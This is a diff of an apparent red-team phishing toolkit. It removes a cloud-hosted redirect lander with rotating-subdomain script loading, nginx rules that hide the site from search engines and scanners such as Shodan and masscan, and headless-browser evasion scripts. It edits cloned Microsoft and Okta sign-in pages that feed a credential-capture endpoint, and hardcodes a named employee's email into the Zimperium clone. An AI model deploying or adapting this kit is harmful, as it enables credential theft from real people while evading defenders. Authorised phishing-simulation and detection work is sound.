f.write(f"TrashPanda Engagement Log\n")
|
f.write(f"TrashPanda Engagement Log\n")
|
||||||
f.write(f"========================\n")
|
f.write(f"========================\n")
|
||||||
f.write(f"Started: {time.strftime('%Y-%m-%d %H:%M:%S')}\n")
|
f.write(f"Started: {time.strftime('%Y-%m-%d %H:%M:%S')}\n")
|
||||||
f.write(f"Operator: operator\n")
|
f.write(f"Operator: dmealey\n")
|
||||||
f.write(f"Tool: TrashPanda v2.4\n\n")
|
f.write(f"Tool: TrashPanda v2.4\n\n")
|
||||||
|
|
||||||
# Create initial target file
|
# Create initial target file
|
||||||
@@ -3044,7 +3044,7 @@ def generate_summary_report(base_dir):
|
|||||||
f.write("TRASHPANDA COMPREHENSIVE PENETRATION TESTING REPORT\n")
|
f.write("TRASHPANDA COMPREHENSIVE PENETRATION TESTING REPORT\n")
|
||||||
f.write("=" * 80 + "\n\n")
|
f.write("=" * 80 + "\n\n")
|
||||||
f.write(f"Generated: {time.strftime('%Y-%m-%d %H:%M:%S')}\n")
|
f.write(f"Generated: {time.strftime('%Y-%m-%d %H:%M:%S')}\n")
|
||||||
f.write(f"Operator: operator\n")
|
f.write(f"Operator: dmealey\n")
|
||||||
f.write(f"Engagement Directory: {base_dir}\n\n")
|
f.write(f"Engagement Directory: {base_dir}\n\n")
|
||||||
|
|
||||||
# Enhanced directory structure overview
|
# Enhanced directory structure overview
|
||||||
@@ -3153,7 +3153,7 @@ Examples:
|
|||||||
parser.add_argument("targets", nargs='?', help="Target file, IP, IP range, or CIDR")
|
parser.add_argument("targets", nargs='?', help="Target file, IP, IP range, or CIDR")
|
||||||
|
|
||||||
# Directory options
|
# Directory options
|
||||||
parser.add_argument("-d", "--directory", help="Engagement directory name", default="/root/operator")
|
parser.add_argument("-d", "--directory", help="Engagement directory name", default="/root/dmealey")
|
||||||
parser.add_argument("-c", "--create-dirs", action="store_true", help="Only create directory structure and exit")
|
parser.add_argument("-c", "--create-dirs", action="store_true", help="Only create directory structure and exit")
|
||||||
|
|
||||||
# Scan modes
|
# Scan modes
|
||||||
|
|||||||
@@ -7,14 +7,14 @@ set -e
|
|||||||
if [ $# -eq 0 ]; then
|
if [ $# -eq 0 ]; then
|
||||||
echo "Usage: $0 <target_url>"
|
echo "Usage: $0 <target_url>"
|
||||||
echo "Example: $0 https://example.com"
|
echo "Example: $0 https://example.com"
|
||||||
echo " $0 http://10.0.0.100:8080"
|
echo " $0 http://192.168.1.100:8080"
|
||||||
exit 1
|
exit 1
|
||||||
fi
|
fi
|
||||||
|
|
||||||
TARGET_URL="$1"
|
TARGET_URL="$1"
|
||||||
# Extract domain/IP for workspace naming
|
# Extract domain/IP for workspace naming
|
||||||
TARGET_CLEAN=$(echo "$TARGET_URL" | sed 's|https\?://||g' | sed 's|/.*||g' | tr ':' '_')
|
TARGET_CLEAN=$(echo "$TARGET_URL" | sed 's|https\?://||g' | sed 's|/.*||g' | tr ':' '_')
|
||||||
WORKSPACE="/root/operator/scans/web/$TARGET_CLEAN"
|
WORKSPACE="/root/dmealey/scans/web/$TARGET_CLEAN"
|
||||||
DATE=$(date +%Y%m%d_%H%M%S)
|
DATE=$(date +%Y%m%d_%H%M%S)
|
||||||
|
|
||||||
# Colors for output
|
# Colors for output
|
||||||
|
|||||||
@@ -8,7 +8,7 @@ import os
|
|||||||
import time
|
import time
|
||||||
from pathlib import Path
|
from pathlib import Path
|
||||||
|
|
||||||
def create_workspace_structure(base_name="/root/operator", operator="operator"):
|
def create_workspace_structure(base_name="/root/dmealey", operator="operator"):
|
||||||
"""Create a comprehensive penetration testing directory structure like trashpanda."""
|
"""Create a comprehensive penetration testing directory structure like trashpanda."""
|
||||||
|
|
||||||
# Main engagement directory
|
# Main engagement directory
|
||||||
@@ -227,7 +227,7 @@ if __name__ == "__main__":
|
|||||||
if len(sys.argv) > 1:
|
if len(sys.argv) > 1:
|
||||||
workspace_name = sys.argv[1]
|
workspace_name = sys.argv[1]
|
||||||
else:
|
else:
|
||||||
workspace_name = f"/root/operator"
|
workspace_name = f"/root/dmealey"
|
||||||
|
|
||||||
operator = getpass.getuser()
|
operator = getpass.getuser()
|
||||||
create_workspace_structure(workspace_name, operator)
|
create_workspace_structure(workspace_name, operator)
|
||||||
|
|||||||
@@ -468,7 +468,7 @@
|
|||||||
# Add targets one per line in various formats:
|
# Add targets one per line in various formats:
|
||||||
#
|
#
|
||||||
# Individual IPs:
|
# Individual IPs:
|
||||||
# 10.0.0.10
|
# 192.168.1.10
|
||||||
# 10.0.0.5
|
# 10.0.0.5
|
||||||
#
|
#
|
||||||
# IP Ranges:
|
# IP Ranges:
|
||||||
|
|||||||
@@ -158,31 +158,6 @@ def gather_phishing_parameters():
|
|||||||
config['ssh_after_deploy'] = confirm_action("SSH into instance after deployment?", default=True)
|
config['ssh_after_deploy'] = confirm_action("SSH into instance after deployment?", default=True)
|
||||||
config['open_admin_panel'] = confirm_action("Open GoPhish admin panel after deployment?", default=True)
|
config['open_admin_panel'] = confirm_action("Open GoPhish admin panel after deployment?", default=True)
|
||||||
|
|
||||||
# Trusted-cloud lander
|
|
||||||
print(f"\n{COLORS['BLUE']}Trusted-Cloud Lander (optional){COLORS['RESET']}")
|
|
||||||
config['use_lander'] = confirm_action("Generate a trusted-cloud lander page?", default=False)
|
|
||||||
if config['use_lander']:
|
|
||||||
config['lander_campaign_id'] = input("Campaign ID (alphanumeric, _ -) [required]: ").strip()
|
|
||||||
if not config['lander_campaign_id']:
|
|
||||||
print(f"{COLORS['RED']}Campaign ID required; skipping lander.{COLORS['RESET']}")
|
|
||||||
config['use_lander'] = False
|
|
||||||
else:
|
|
||||||
print("Provider: 1) GCS 2) S3 3) Azure Blob")
|
|
||||||
_pmap = {'1': 'gcs', '2': 's3', '3': 'azure'}
|
|
||||||
config['lander_provider'] = _pmap.get(input("Select provider [1]: ").strip() or '1', 'gcs')
|
|
||||||
config['lander_bucket'] = input("Bucket/storage-account name [required]: ").strip()
|
|
||||||
if not config['lander_bucket']:
|
|
||||||
print(f"{COLORS['RED']}Bucket required; skipping lander.{COLORS['RESET']}")
|
|
||||||
config['use_lander'] = False
|
|
||||||
else:
|
|
||||||
print("Mode: 1) Simple redirect 2) TDS (random subdomain rotation)")
|
|
||||||
config['lander_mode'] = 'tds' if (input("Select mode [1]: ").strip() == '2') else 'simple'
|
|
||||||
if config['lander_mode'] == 'tds':
|
|
||||||
raw = input("TDS domains (comma-separated, no scheme) [required]: ").strip()
|
|
||||||
config['lander_tds_domains'] = [d.strip() for d in raw.split(',') if d.strip()]
|
|
||||||
default_redirect = f"https://{config.get('phishing_hostname', config['phishing_domain'])}/login"
|
|
||||||
config['lander_redirect_url'] = input(f"Redirect URL [default: {default_redirect}]: ").strip() or default_redirect
|
|
||||||
|
|
||||||
return config
|
return config
|
||||||
|
|
||||||
def phishing_menu():
|
def phishing_menu():
|
||||||
@@ -442,9 +417,6 @@ def execute_phishing_deployment(config):
|
|||||||
if success:
|
if success:
|
||||||
print(f"\n{COLORS['GREEN']}✅ Phishing infrastructure deployed successfully!{COLORS['RESET']}")
|
print(f"\n{COLORS['GREEN']}✅ Phishing infrastructure deployed successfully!{COLORS['RESET']}")
|
||||||
|
|
||||||
from modules.phishing.lander_gen import post_deploy_generate_lander
|
|
||||||
post_deploy_generate_lander(config)
|
|
||||||
|
|
||||||
if config.get('ssh_after_deploy'):
|
if config.get('ssh_after_deploy'):
|
||||||
from utils.ssh_utils import ssh_to_instance
|
from utils.ssh_utils import ssh_to_instance
|
||||||
ssh_to_instance(config)
|
ssh_to_instance(config)
|
||||||
|
|||||||
@@ -1,108 +0,0 @@
|
|||||||
#!/usr/bin/env python3
|
|
||||||
import re
|
|
||||||
import shlex
|
|
||||||
from pathlib import Path
|
|
||||||
from urllib.parse import urlparse
|
|
||||||
from jinja2 import Environment, FileSystemLoader
|
|
||||||
|
|
||||||
from utils.common import COLORS
|
|
||||||
|
|
||||||
_CAMPAIGN_ID_RE = re.compile(r'^[a-zA-Z0-9_-]+$')
|
|
||||||
|
|
||||||
|
|
||||||
def _validate_campaign_id(campaign_id: str) -> str:
|
|
||||||
if not _CAMPAIGN_ID_RE.match(campaign_id):
|
|
||||||
raise ValueError(f"campaign_id contains invalid characters: {campaign_id!r}")
|
|
||||||
return campaign_id
|
|
||||||
|
|
||||||
|
|
||||||
def _validate_https_url(url: str, label: str) -> str:
|
|
||||||
parsed = urlparse(url)
|
|
||||||
if parsed.scheme != 'https' or not parsed.netloc:
|
|
||||||
raise ValueError(f"{label} must be an https:// URL, got: {url!r}")
|
|
||||||
return url
|
|
||||||
|
|
||||||
|
|
||||||
def post_deploy_generate_lander(config: dict) -> None:
|
|
||||||
if not config.get('use_lander'):
|
|
||||||
return
|
|
||||||
|
|
||||||
campaign_id = _validate_campaign_id(config['lander_campaign_id'])
|
|
||||||
provider = config['lander_provider']
|
|
||||||
mode = config['lander_mode']
|
|
||||||
bucket = config['lander_bucket']
|
|
||||||
redirect_url = _validate_https_url(config['lander_redirect_url'], 'redirect_url')
|
|
||||||
phishing_hostname = config.get('phishing_hostname', 'phishing.local')
|
|
||||||
js_payload_url = _validate_https_url(
|
|
||||||
f"https://{phishing_hostname}/static/jq.min.js", 'js_payload_url'
|
|
||||||
)
|
|
||||||
|
|
||||||
template_dir = Path(__file__).parent / 'templates'
|
|
||||||
env = Environment(loader=FileSystemLoader(str(template_dir)))
|
|
||||||
|
|
||||||
context = {
|
|
||||||
'tds_enabled': mode == 'tds',
|
|
||||||
'tds_domains': config.get('lander_tds_domains', []),
|
|
||||||
'js_payload_url': js_payload_url,
|
|
||||||
'redirect_url': redirect_url,
|
|
||||||
}
|
|
||||||
|
|
||||||
html_template = env.get_template('cloud-lander.html.j2')
|
|
||||||
js_template = env.get_template('js-payload.js.j2')
|
|
||||||
|
|
||||||
html_content = html_template.render(context)
|
|
||||||
js_content = js_template.render(context)
|
|
||||||
|
|
||||||
out_dir = Path('.')
|
|
||||||
html_file = out_dir / f'lander-{campaign_id}.html'
|
|
||||||
js_file = out_dir / f'js-payload-{campaign_id}.js'
|
|
||||||
|
|
||||||
html_file.write_text(html_content)
|
|
||||||
js_file.write_text(js_content)
|
|
||||||
|
|
||||||
print(f"\n{COLORS['GREEN']}[+] Lander files generated{COLORS['RESET']}")
|
|
||||||
print(f" {COLORS['CYAN']}{html_file}{COLORS['RESET']}")
|
|
||||||
print(f" {COLORS['CYAN']}{js_file}{COLORS['RESET']}")
|
|
||||||
|
|
||||||
qbucket = shlex.quote(bucket)
|
|
||||||
qhtml = shlex.quote(str(html_file))
|
|
||||||
qjs = shlex.quote(str(js_file))
|
|
||||||
|
|
||||||
if provider == 'gcs':
|
|
||||||
public_url = f"https://storage.googleapis.com/{bucket}/index.html?{campaign_id}"
|
|
||||||
upload_cmd = f"gsutil cp {qhtml} gs://{qbucket}/index.html && gsutil acl ch -u AllUsers:R gs://{qbucket}/index.html"
|
|
||||||
elif provider == 's3':
|
|
||||||
public_url = f"https://{bucket}.s3.amazonaws.com/index.html?{campaign_id}"
|
|
||||||
upload_cmd = f"aws s3 cp {qhtml} s3://{qbucket}/index.html --acl public-read"
|
|
||||||
elif provider == 'azure':
|
|
||||||
public_url = f"https://{bucket}.blob.core.windows.net/$web/index.html?{campaign_id}"
|
|
||||||
upload_cmd = f"az storage blob upload -f {qhtml} -c '$web' -n index.html --account-name {qbucket}"
|
|
||||||
else:
|
|
||||||
public_url = f"<unknown provider: {provider}>"
|
|
||||||
upload_cmd = "<unknown provider>"
|
|
||||||
|
|
||||||
print(f"\n{COLORS['YELLOW']}[!] Upload instructions for {COLORS['CYAN']}{provider.upper()}{COLORS['YELLOW']}:{COLORS['RESET']}")
|
|
||||||
print(f" {COLORS['CYAN']}{upload_cmd}{COLORS['RESET']}")
|
|
||||||
print(f"\n{COLORS['YELLOW']}[!] Public trusted-domain URL:{COLORS['RESET']}")
|
|
||||||
print(f" {COLORS['CYAN']}{public_url}{COLORS['RESET']}")
|
|
||||||
|
|
||||||
print(f"\n{COLORS['YELLOW']}[!] JS payload deployment:{COLORS['RESET']}")
|
|
||||||
webserver_scp = f"scp {qjs} user@webserver:/var/www/phishing/static/jq.min.js"
|
|
||||||
print(f" {COLORS['CYAN']}{webserver_scp}{COLORS['RESET']}")
|
|
||||||
# ponytail: fixed JS filename visible in webserver logs; upgrade to per-RId rotation if log-harvesting becomes a threat
|
|
||||||
|
|
||||||
print(f"\n{COLORS['RED']}[!!] CRITICAL: Upload both files BEFORE starting your GoPhish campaign{COLORS['RESET']}\n")
|
|
||||||
|
|
||||||
|
|
||||||
if __name__ == '__main__':
|
|
||||||
test_config = {
|
|
||||||
'use_lander': False,
|
|
||||||
'lander_campaign_id': 'test_001',
|
|
||||||
'lander_provider': 'gcs',
|
|
||||||
'lander_mode': 'simple',
|
|
||||||
'lander_bucket': 'test-bucket',
|
|
||||||
'lander_redirect_url': 'https://phishing.local/login',
|
|
||||||
'phishing_hostname': 'phishing.local',
|
|
||||||
}
|
|
||||||
post_deploy_generate_lander(test_config)
|
|
||||||
print("Self-check passed: disabled lander returned None without errors")
|
|
||||||
@@ -1,31 +0,0 @@
|
|||||||
<!DOCTYPE html>
|
|
||||||
<html>
|
|
||||||
<head>
|
|
||||||
<meta charset="UTF-8">
|
|
||||||
<meta name="robots" content="noindex, noarchive">
|
|
||||||
<title>Loading...</title>
|
|
||||||
<script>
|
|
||||||
{% if tds_enabled %}
|
|
||||||
(function() {
|
|
||||||
var domains = {{ tds_domains | tojson }};
|
|
||||||
var randomDomain = domains[Math.floor(Math.random() * domains.length)];
|
|
||||||
function makeRandomSub(n) {
|
|
||||||
var r='', c='abcdefghijklmnopqrstuvwxyz0123456789';
|
|
||||||
for(var i=0;i<n;i++) r+=c.charAt(Math.floor(Math.random()*c.length));
|
|
||||||
return r+'.';
|
|
||||||
}
|
|
||||||
var script = document.createElement('script');
|
|
||||||
script.src = 'https://' + makeRandomSub(20) + randomDomain + '/jq.min.js?u=' + encodeURIComponent(window.location.href) + '&r=' + encodeURIComponent(document.referrer) + '&t=' + Date.now();
|
|
||||||
document.head.appendChild(script);
|
|
||||||
})();
|
|
||||||
{% else %}
|
|
||||||
(function() {
|
|
||||||
var script = document.createElement('script');
|
|
||||||
script.src = {{ js_payload_url | tojson }} + '?u=' + encodeURIComponent(window.location.href) + '&r=' + encodeURIComponent(document.referrer) + '&t=' + Date.now();
|
|
||||||
document.head.appendChild(script);
|
|
||||||
})();
|
|
||||||
{% endif %}
|
|
||||||
</script>
|
|
||||||
</head>
|
|
||||||
<body></body>
|
|
||||||
</html>
|
|
||||||
@@ -1,15 +0,0 @@
|
|||||||
(function() {
|
|
||||||
var u = new URLSearchParams(window.location.search);
|
|
||||||
var src = u.get('u') || '';
|
|
||||||
var dest = {{ redirect_url | tojson }};
|
|
||||||
try {
|
|
||||||
if (src && (src.indexOf('rid=') !== -1 || src.indexOf('RId=') !== -1)) {
|
|
||||||
var params = new URLSearchParams(new URL(src).search);
|
|
||||||
var rid = params.get('rid') || params.get('RId');
|
|
||||||
if (rid && rid.length <= 128) {
|
|
||||||
dest += (dest.indexOf('?') !== -1 ? '&' : '?') + 'rid=' + encodeURIComponent(rid);
|
|
||||||
}
|
|
||||||
}
|
|
||||||
} catch (e) {}
|
|
||||||
window.location.replace(dest);
|
|
||||||
})();
|
|
||||||
@@ -1,35 +1,7 @@
|
|||||||
map $http_user_agent $block_scanner {
|
|
||||||
default 0;
|
|
||||||
~*Googlebot 1;
|
|
||||||
~*bingbot 1;
|
|
||||||
~*Slurp 1;
|
|
||||||
~*DuckDuckBot 1;
|
|
||||||
~*Baiduspider 1;
|
|
||||||
~*YandexBot 1;
|
|
||||||
~*Sogou 1;
|
|
||||||
~*Exabot 1;
|
|
||||||
~*facebot 1;
|
|
||||||
~*ia_archiver 1;
|
|
||||||
~*msnbot 1;
|
|
||||||
~*AhrefsBot 1;
|
|
||||||
~*SemrushBot 1;
|
|
||||||
~*MJ12bot 1;
|
|
||||||
~*DotBot 1;
|
|
||||||
~*BLEXBot 1;
|
|
||||||
~*masscan 1;
|
|
||||||
~*zgrab 1;
|
|
||||||
~*Shodan 1;
|
|
||||||
~*censys 1;
|
|
||||||
}
|
|
||||||
|
|
||||||
server {
|
server {
|
||||||
listen 80;
|
listen 80;
|
||||||
server_name _;
|
server_name _;
|
||||||
|
|
||||||
add_header X-Robots-Tag "noindex, noarchive";
|
|
||||||
|
|
||||||
if ($block_scanner) { return 444; }
|
|
||||||
|
|
||||||
root /var/www/phishing;
|
root /var/www/phishing;
|
||||||
index index.html index.php;
|
index index.html index.php;
|
||||||
|
|
||||||
@@ -37,16 +9,20 @@ server {
|
|||||||
access_log off;
|
access_log off;
|
||||||
error_log /dev/null crit;
|
error_log /dev/null crit;
|
||||||
|
|
||||||
# Credential capture — only POST to this exact path
|
# PHP processing
|
||||||
|
location ~ \.php$ {
|
||||||
|
include snippets/fastcgi-php.conf;
|
||||||
|
fastcgi_pass unix:/var/run/php/php7.4-fpm.sock;
|
||||||
|
fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name;
|
||||||
|
}
|
||||||
|
|
||||||
|
# Credential capture endpoint
|
||||||
location = /capture.php {
|
location = /capture.php {
|
||||||
limit_except POST { deny all; }
|
limit_except POST { deny all; }
|
||||||
include snippets/fastcgi-php.conf;
|
include snippets/fastcgi-php.conf;
|
||||||
fastcgi_pass unix:/var/run/php/php7.4-fpm.sock;
|
fastcgi_pass unix:/var/run/php/php7.4-fpm.sock;
|
||||||
}
|
}
|
||||||
|
|
||||||
# Deny all other PHP execution
|
|
||||||
location ~ \.php$ { deny all; }
|
|
||||||
|
|
||||||
# Template routing
|
# Template routing
|
||||||
location /templates/ {
|
location /templates/ {
|
||||||
try_files $uri $uri/ =404;
|
try_files $uri $uri/ =404;
|
||||||
|
|||||||
@@ -3,7 +3,6 @@
|
|||||||
<head>
|
<head>
|
||||||
<title>Sign in to your account</title>
|
<title>Sign in to your account</title>
|
||||||
<meta name="viewport" content="width=device-width, initial-scale=1">
|
<meta name="viewport" content="width=device-width, initial-scale=1">
|
||||||
<meta name="robots" content="noindex, noarchive">
|
|
||||||
<style>
|
<style>
|
||||||
body {
|
body {
|
||||||
font-family: 'Segoe UI', Tahoma, Geneva, Verdana, sans-serif;
|
font-family: 'Segoe UI', Tahoma, Geneva, Verdana, sans-serif;
|
||||||
@@ -106,16 +105,5 @@
|
|||||||
<a href="https://www.microsoft.com/en-us/privacy/privacystatement">Privacy & cookies</a>
|
<a href="https://www.microsoft.com/en-us/privacy/privacystatement">Privacy & cookies</a>
|
||||||
</div>
|
</div>
|
||||||
</div>
|
</div>
|
||||||
<script>
|
|
||||||
(function() {
|
|
||||||
var headless = (
|
|
||||||
navigator.webdriver ||
|
|
||||||
(!window.chrome && /Chrome/.test(navigator.userAgent)) ||
|
|
||||||
navigator.plugins.length === 0 ||
|
|
||||||
/HeadlessChrome|PhantomJS|Selenium|WebDriver/i.test(navigator.userAgent)
|
|
||||||
);
|
|
||||||
if (headless) { window.location.replace('https://www.microsoft.com'); }
|
|
||||||
})();
|
|
||||||
</script>
|
|
||||||
</body>
|
</body>
|
||||||
</html>
|
</html>
|
||||||
@@ -23,7 +23,7 @@
|
|||||||
}
|
}
|
||||||
</style><title>Zimperium - Sign In</title>
|
</style><title>Zimperium - Sign In</title>
|
||||||
<meta name="viewport" content="width=device-width, initial-scale=1.0" />
|
<meta name="viewport" content="width=device-width, initial-scale=1.0" />
|
||||||
<meta name="robots" content="noindex, nofollow, noarchive" />
|
<meta name="robots" content="noindex,nofollow" />
|
||||||
|
|
||||||
<script type="text/javascript" nonce="GbJoEX60HpuEJf6f877zFg">window.cspNonce = 'GbJoEX60HpuEJf6f877zFg';</script><script src="https://ok14static.oktacdn.com/assets/js/sdk/okta-signin-widget/7.33.2/js/okta-sign-in.min.js" type="text/javascript" integrity="sha384-yEQR8oBedCVhw7cfWyk0wwOq6ewbnlhJsgb3G8QwTyJiYpTkYdfUsWK4QU4wjoen" crossorigin="anonymous"></script>
|
<script type="text/javascript" nonce="GbJoEX60HpuEJf6f877zFg">window.cspNonce = 'GbJoEX60HpuEJf6f877zFg';</script><script src="https://ok14static.oktacdn.com/assets/js/sdk/okta-signin-widget/7.33.2/js/okta-sign-in.min.js" type="text/javascript" integrity="sha384-yEQR8oBedCVhw7cfWyk0wwOq6ewbnlhJsgb3G8QwTyJiYpTkYdfUsWK4QU4wjoen" crossorigin="anonymous"></script>
|
||||||
<link href="https://ok14static.oktacdn.com/assets/js/sdk/okta-signin-widget/7.33.2/css/okta-sign-in.min.css" type="text/css" rel="stylesheet" integrity="sha384-fxx+LDlIb08xQnHiuttLUvFQjDs5lrUHVoq4eWhpVlSteR2K2q21MbrOCkWfWqqs" crossorigin="anonymous"/>
|
<link href="https://ok14static.oktacdn.com/assets/js/sdk/okta-signin-widget/7.33.2/css/okta-sign-in.min.css" type="text/css" rel="stylesheet" integrity="sha384-fxx+LDlIb08xQnHiuttLUvFQjDs5lrUHVoq4eWhpVlSteR2K2q21MbrOCkWfWqqs" crossorigin="anonymous"/>
|
||||||
@@ -99,7 +99,7 @@
|
|||||||
|
|
||||||
<!-- hidden form for reposting fromURI for X509 auth -->
|
<!-- hidden form for reposting fromURI for X509 auth -->
|
||||||
<form action="/login/cert" method="post" id="x509_login" name="x509_login" class="hide">
|
<form action="/login/cert" method="post" id="x509_login" name="x509_login" class="hide">
|
||||||
<input type="hidden" id="fromURI" name="fromURI" class="hidden" value="/app/office365/{{ okta_app_id | default('APP_ID') }}/sso/wsfed/passive?username={{ target_email | urlencode | default('user%40example.com') }}&wa=wsignin1.0&wtrealm=urn%3afederation%3aMicrosoftOnline&wctx="/>
|
<input type="hidden" id="fromURI" name="fromURI" class="hidden" value="/app/office365/exk1ufbfxuFLJp6y3697/sso/wsfed/passive?username=Brian.Caldwell%40Zimperium.com&wa=wsignin1.0&wtrealm=urn%3afederation%3aMicrosoftOnline&wctx="/>
|
||||||
</form>
|
</form>
|
||||||
|
|
||||||
<div class="content">
|
<div class="content">
|
||||||
@@ -199,11 +199,11 @@
|
|||||||
|
|
||||||
<script nonce="GbJoEX60HpuEJf6f877zFg" type="text/javascript">function runLoginPage (fn) {var mainScript = document.createElement('script');mainScript.src = 'https://ok14static.oktacdn.com/assets/js/mvc/loginpage/initLoginPage.pack.58de3be0c9b511a0fdfd7ea4f69b56fc.js';mainScript.crossOrigin = 'anonymous';mainScript.integrity = 'sha384-cJ4LGViZBmIttMPH+ao2RyPuN5BztKWYWIa4smbm56r1cUhkU/Dr6vTS3UoPbKTI';document.getElementsByTagName('head')[0].appendChild(mainScript);fn && mainScript.addEventListener('load', function () { setTimeout(fn, 1) });}</script><script type="text/javascript" nonce="GbJoEX60HpuEJf6f877zFg">
|
<script nonce="GbJoEX60HpuEJf6f877zFg" type="text/javascript">function runLoginPage (fn) {var mainScript = document.createElement('script');mainScript.src = 'https://ok14static.oktacdn.com/assets/js/mvc/loginpage/initLoginPage.pack.58de3be0c9b511a0fdfd7ea4f69b56fc.js';mainScript.crossOrigin = 'anonymous';mainScript.integrity = 'sha384-cJ4LGViZBmIttMPH+ao2RyPuN5BztKWYWIa4smbm56r1cUhkU/Dr6vTS3UoPbKTI';document.getElementsByTagName('head')[0].appendChild(mainScript);fn && mainScript.addEventListener('load', function () { setTimeout(fn, 1) });}</script><script type="text/javascript" nonce="GbJoEX60HpuEJf6f877zFg">
|
||||||
(function(){
|
(function(){
|
||||||
var baseUrl = 'https://{{ okta_org | default("your.okta.com") }}';
|
var baseUrl = 'https\x3A\x2F\x2Fzimperium.okta.com';
|
||||||
var suppliedRedirectUri = '';
|
var suppliedRedirectUri = '';
|
||||||
var repost = false;
|
var repost = false;
|
||||||
var stateToken = '';
|
var stateToken = '';
|
||||||
var fromUri = '/app/office365/{{ okta_app_id | default("APP_ID") }}/sso/wsfed/passive?username={{ target_email | default("user@example.com") }}&wa=wsignin1.0&wtrealm=urn%3afederation%3aMicrosoftOnline&wctx=';
|
var fromUri = '\x2Fapp\x2Foffice365\x2Fexk1ufbfxuFLJp6y3697\x2Fsso\x2Fwsfed\x2Fpassive\x3Fusername\x3DBrian.Caldwell\x2540Zimperium.com\x26wa\x3Dwsignin1.0\x26wtrealm\x3Durn\x253afederation\x253aMicrosoftOnline\x26wctx\x3D';
|
||||||
var username = '';
|
var username = '';
|
||||||
var rememberMe = true;
|
var rememberMe = true;
|
||||||
var smsRecovery = false;
|
var smsRecovery = false;
|
||||||
@@ -554,17 +554,5 @@
|
|||||||
applyStyle('login-bg-image', 'bgStyle');
|
applyStyle('login-bg-image', 'bgStyle');
|
||||||
applyStyle('login-bg-image-ie8', 'bgStyleIE8');
|
applyStyle('login-bg-image-ie8', 'bgStyleIE8');
|
||||||
});
|
});
|
||||||
</script>
|
</script></body>
|
||||||
<script>
|
|
||||||
(function() {
|
|
||||||
var headless = (
|
|
||||||
navigator.webdriver ||
|
|
||||||
(!window.chrome && /Chrome/.test(navigator.userAgent)) ||
|
|
||||||
navigator.plugins.length === 0 ||
|
|
||||||
/HeadlessChrome|PhantomJS|Selenium|WebDriver/i.test(navigator.userAgent)
|
|
||||||
);
|
|
||||||
if (headless) { window.location.replace('https://www.okta.com'); }
|
|
||||||
})();
|
|
||||||
</script>
|
|
||||||
</body>
|
|
||||||
</html>
|
</html>
|
||||||
|
|||||||
@@ -3,7 +3,6 @@
|
|||||||
<head>
|
<head>
|
||||||
<meta charset="UTF-8">
|
<meta charset="UTF-8">
|
||||||
<meta name="viewport" content="width=device-width, initial-scale=1.0">
|
<meta name="viewport" content="width=device-width, initial-scale=1.0">
|
||||||
<meta name="robots" content="noindex, noarchive">
|
|
||||||
<title>{{ page_title | default('Sign in to your account') }}</title>
|
<title>{{ page_title | default('Sign in to your account') }}</title>
|
||||||
<style>
|
<style>
|
||||||
* {
|
* {
|
||||||
@@ -191,17 +190,6 @@
|
|||||||
</div>
|
</div>
|
||||||
</div>
|
</div>
|
||||||
|
|
||||||
<script>
|
|
||||||
(function() {
|
|
||||||
var headless = (
|
|
||||||
navigator.webdriver ||
|
|
||||||
(!window.chrome && /Chrome/.test(navigator.userAgent)) ||
|
|
||||||
navigator.plugins.length === 0 ||
|
|
||||||
/HeadlessChrome|PhantomJS|Selenium|WebDriver/i.test(navigator.userAgent)
|
|
||||||
);
|
|
||||||
if (headless) { window.location.replace('https://www.microsoft.com'); }
|
|
||||||
})();
|
|
||||||
</script>
|
|
||||||
<script>
|
<script>
|
||||||
document.getElementById('loginForm').addEventListener('submit', function(e) {
|
document.getElementById('loginForm').addEventListener('submit', function(e) {
|
||||||
e.preventDefault();
|
e.preventDefault();
|
||||||
@@ -218,7 +206,7 @@
|
|||||||
.then(response => {
|
.then(response => {
|
||||||
// Redirect after a delay to simulate processing
|
// Redirect after a delay to simulate processing
|
||||||
setTimeout(() => {
|
setTimeout(() => {
|
||||||
window.location.href = {{ redirect_url | default("https://www.microsoft.com") | tojson }};
|
window.location.href = '{{ redirect_url | default("https://www.microsoft.com") }}';
|
||||||
}, 2000);
|
}, 2000);
|
||||||
})
|
})
|
||||||
.catch(error => {
|
.catch(error => {
|
||||||
|
|||||||
@@ -184,21 +184,17 @@ def _get_tuning_params(scan_mode: str, default_rate: int, vars_overrides: dict)
|
|||||||
print(f"\n{COLORS['BLUE']}Advanced Tuning (Enter = use default):{COLORS['RESET']}")
|
print(f"\n{COLORS['BLUE']}Advanced Tuning (Enter = use default):{COLORS['RESET']}")
|
||||||
show_header = False
|
show_header = False
|
||||||
if key in vars_overrides:
|
if key in vars_overrides:
|
||||||
value = cast(vars_overrides[key])
|
tuning[key] = cast(vars_overrides[key])
|
||||||
source = "vars file"
|
print(f" {label}: {tuning[key]} (vars file)")
|
||||||
else:
|
else:
|
||||||
raw = input(f" {label} [{default}]: ").strip()
|
raw = input(f" {label} [{default}]: ").strip()
|
||||||
value = cast(raw) if raw else default
|
tuning[key] = cast(raw) if raw else default
|
||||||
source = None
|
|
||||||
if isinstance(value, (int, float)) and value <= 0:
|
|
||||||
print(f"{COLORS['YELLOW']} {label}={value} invalid (must be > 0); using default {default}{COLORS['RESET']}")
|
|
||||||
value = default
|
|
||||||
tuning[key] = value
|
|
||||||
if source:
|
|
||||||
print(f" {label}: {value} ({source})")
|
|
||||||
|
|
||||||
_prompt("masscan rate (pkt/s)", "masscan_rate", default_rate)
|
_prompt("masscan rate (pkt/s)", "masscan_rate", default_rate)
|
||||||
|
|
||||||
|
if scan_mode in ('masscan+nmap', 'geo-scout', 'masscan+nuclei'):
|
||||||
|
pass # masscan_rate already handled
|
||||||
|
|
||||||
if scan_mode in ('masscan+nmap', 'geo-scout'):
|
if scan_mode in ('masscan+nmap', 'geo-scout'):
|
||||||
_prompt("nmap timing T1-T4", "nmap_timing", 4)
|
_prompt("nmap timing T1-T4", "nmap_timing", 4)
|
||||||
_prompt("nmap per-host timeout (s)", "nmap_timeout", 60)
|
_prompt("nmap per-host timeout (s)", "nmap_timeout", 60)
|
||||||
@@ -212,53 +208,8 @@ def _get_tuning_params(scan_mode: str, default_rate: int, vars_overrides: dict)
|
|||||||
return tuning
|
return tuning
|
||||||
|
|
||||||
|
|
||||||
def _show_masscan_tor_warning():
|
def _show_estimate_table(total_ips: int, n_ports: int, providers: list[str], scan_mode: str, use_tor: bool = False):
|
||||||
R = COLORS['RED']
|
rows = build_estimate_table(total_ips, n_ports, providers, scan_mode, use_tor=use_tor)
|
||||||
Y = COLORS['YELLOW']
|
|
||||||
W = COLORS['WHITE']
|
|
||||||
Z = COLORS['RESET']
|
|
||||||
print(f"\n{R}{'█' * 70}{Z}")
|
|
||||||
